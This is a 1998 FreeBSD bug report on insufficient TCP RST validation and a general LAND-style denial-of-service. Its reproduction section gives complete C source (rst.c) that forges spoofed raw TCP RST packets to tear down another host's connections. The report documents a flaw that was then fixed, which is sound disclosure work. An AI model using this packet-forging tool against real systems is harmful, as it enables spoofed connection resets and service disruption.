Bug 7892

Summary: [MFC] [PATCH] tcp_input does insufficient RST validation, also more general LAND attacks are possible
Product: Base System Reporter: Don Lewis <Don.Lewis>
Component: kernAssignee: freebsd-bugs (Nobody) <bugs>
Status: Closed FIXED    
Severity: Affects Only Me    
Priority: Normal    
Version: 3.0-CURRENT   
Hardware: Any   
OS: Any   
Attachments:
Description Flags
file.diff none

Description Don Lewis 1998-09-11 09:20:01 UTC
	A TCP bugfix from TCP/IP Illustrated Volume 2 page 960 broke
	RST validation.  It allows RST packets with sequence numbers
	covering half the sequence space to be processed, whereas
	according to RFC 793, only those with sequence numbers in the 
	the receive window should be processed.

	It is also theoretically possible to commit a "LAND"-style
	denial of service attack by sending forged SYN packets to
	two listening sockets that appear to have come from each other.
	This causes the two sockets to blast each other with ACKs.

Fix: The following patch tightens up the RST validation.  It also breaks the
loop in the general form of the "LAND" attack which would cause the sockets
to keep sending ACKs to each other, and it sends a RST to clean things up
in the case where we know something is amiss.

How-To-Repeat: 
	The RST problem can be triggered by following code which was
	was posted to BUGTRAQ by Tristan Horn <tristan+-eyixqg@ETHEREAL.NET>.
	I added the for loop to vary the sequence number over a sufficient
	range to reliably trigger the bug.

/* rst.c -- based on:
     land.c by m3lt, FLC
     crashes a win95 box
     Ported by blast and jerm to 44BSD*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>


/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */

struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int main(int argc,char * * argv)
{
        struct sockaddr_in src, dst;
        struct hostent * hoste;
        int sock,foo, i;
        char buffer[40];
        struct ip * ipheader=(struct ip *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
        struct pseudohdr pseudoheader;

        fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");

        if(argc<5)
        {
                fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
                return(-1);
        }

        bzero(&src,sizeof(struct sockaddr_in));
        bzero(&dst,sizeof(struct sockaddr_in));
        src.sin_family=AF_INET;
        dst.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
        else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((src.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }

        if((hoste=gethostbyname(argv[3]))!=NULL)
                bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
        else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[3]);
                return(-1);
        }

        if((dst.sin_port=htons(atoi(argv[4])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[4]);
                return(-1);
        }

        if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        foo=1;
        if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
        {
                fprintf(stderr,"couldn't set raw header on socket\n");
                return(-1);
        }

for (i = 0; i < 4; i++) {
        bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
        ipheader->ip_v=4;
        ipheader->ip_hl=sizeof(struct ip)/4;
        ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
        ipheader->ip_id=htons(0xF1C);
        ipheader->ip_ttl=255;
        ipheader->ip_p=IPPROTO_TCP;
        ipheader->ip_src=src.sin_addr;
        ipheader->ip_dst=dst.sin_addr;

        tcpheader->th_sport=src.sin_port;
        tcpheader->th_dport=dst.sin_port;
        tcpheader->th_seq=htonl(0xF1C + (i * 0x40000000));
        tcpheader->th_flags=TH_RST;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr=src.sin_addr;
        pseudoheader.daddr=dst.sin_addr;
        pseudoheader.protocol=6;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

        if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet,%d\n",errno);
                return(-1);
        }
}

        fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);

        close(sock);
        return(0);
}
Comment 1 Garrett A. Wollman 1998-09-11 16:02:00 UTC
<<On Fri, 11 Sep 1998 01:13:55 -0700 (PDT), Don Lewis <Don.Lewis@tsc.tdk.com> said:

> The following patch tightens up the RST validation.  It also breaks the
> loop in the general form of the "LAND" attack which would cause the sockets
> to keep sending ACKs to each other, and it sends a RST to clean things up
> in the case where we know something is amiss.

Great job, Don.  I'll commit this today if nobody beats me to it.

-GAWollman

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick
Comment 2 Garrett Wollman freebsd_committer freebsd_triage 1998-09-11 17:04:13 UTC
State Changed
From-To: open->suspended

Awaiting merge into 2.2. 

Comment 3 fenner 1998-09-11 19:52:42 UTC
I thought that the LAND attacks were squelched in rev 1.68 .

  Bill
Comment 4 Joseph Koshy freebsd_committer freebsd_triage 1998-11-19 02:42:25 UTC
State Changed
From-To: suspended->closed

Was fixed by wollman  at 1998/09/11 09:04:04 PDT in -current and merged 
to -stable by guido in rev 1.54.2.11.